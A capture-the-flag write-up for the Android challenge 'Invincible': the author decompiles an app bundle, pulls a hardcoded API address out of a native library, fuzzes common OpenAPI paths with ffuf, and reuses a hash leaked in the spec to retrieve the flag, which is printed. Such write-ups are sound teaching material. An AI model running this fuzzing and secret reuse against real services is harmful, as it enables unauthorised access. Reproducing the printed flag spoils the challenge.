Bitwall - Invincible
Challenge Overview
Invincible is an Android CTF challenge that involves analyzing a mobile app to uncover an exposed OpenAPI specification. This API documentation reveals both the structure of requests and a sensitive hash value. Our goal is to exploit this information to craft a valid API request and retrieve the flag.
Enumeration
Static Analysis
We are provided with an AAB file: invincible.aab.
An AAB (Android App Bundle) is a publishing format that contains all compiled code and resources for an Android app, but unlike APKs, it is not directly installable on devices.
To convert the .aab to an installable .apk, we use bundletool:
1
2
3
4
5
java -jar ~/tools/bundletool.jar build-apks \
--bundle=invincible.aab \
--output=invincible.apks \
--mode=universal \
--overwrite
After generating the .apks file, we unzip it:
1
unzip invincible.apks
This gives us universal.apk, which we then decompile using apktool (we used jadx in the Secure Chat Bounty challenge, so trying a different tool here):
1
2
apktool d universal.apk
cd universal/
Let’s check whether the app communicates with any external APIs by grepping for hardcoded URLs:
1
grep -Ri http:// .
Some matches are found inside binary files, so we use strings to extract readable content:
1
strings ./lib/x86_64/libapp.so | grep http://
This reveals:
1
http://34.207.249.121:8000/api/v1/
Exploitation
Since we have access to an API root (http://34.207.249.121:8000/api/v1/), we try to brute-force common OpenAPI/Swagger documentation paths using ffuf.
We first create a common-swagger-paths.txt wordlist:
1
2
3
4
5
6
7
8
9
10
11
12
swagger
swagger.json
swagger-ui.html
api-docs
v1/swagger.json
api/swagger.json
api/openapi.json
openapi.json
docs
api/docs
openapi
redoc
Then we start fuzzing:
1
ffuf -u http://34.207.249.121:8000/FUZZ -w common-swagger-paths.txt -mc 200
The output:
1
2
3
redoc [Status: 200]
openapi.json [Status: 200]
docs [Status: 200]
The most interesting endpoint is openapi.json, which reveals the full OpenAPI schema:
1
curl -s http://34.207.249.121:8000/openapi.json | jq
We find this juicy bit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
"/api/v1/invincible_path": {
"get": {
"description": "I'll make sure to remove this 70a9428d8aebe403692ecc4b4148e17bad0c4859 during production",
"parameters": [
{
"name": "invincible_hash",
"in": "query",
"required": false,
"schema": {
"type": "string"
}
}
]
}
}
From this, we know:
- The endpoint is
GET /api/v1/invincible_path - It accepts a
queryparameter:invincible_hash - The developer accidentally leaked the expected hash in the description!
Final Exploit
We use the hash value provided in the OpenAPI spec and craft the following Python script:
1
2
3
4
5
6
7
import requests
url = "http://34.207.249.121:8000/api/v1/invincible_path"
params = {"invincible_hash": "70a9428d8aebe403692ecc4b4148e17bad0c4859"}
response = requests.get(url, params=params)
print(response.text)
Running it:
1
2
└─$ python3 invincible.py
{"message":" {1n53cur3_1nv1n51bl3_4p1_6b09cef20deb76d89a3e00ba0a83de30}"}
Flag: BitCTF{1n53cur3_1nv1n51bl3_4p1_6b09cef20deb76d89a3e00ba0a83de30}
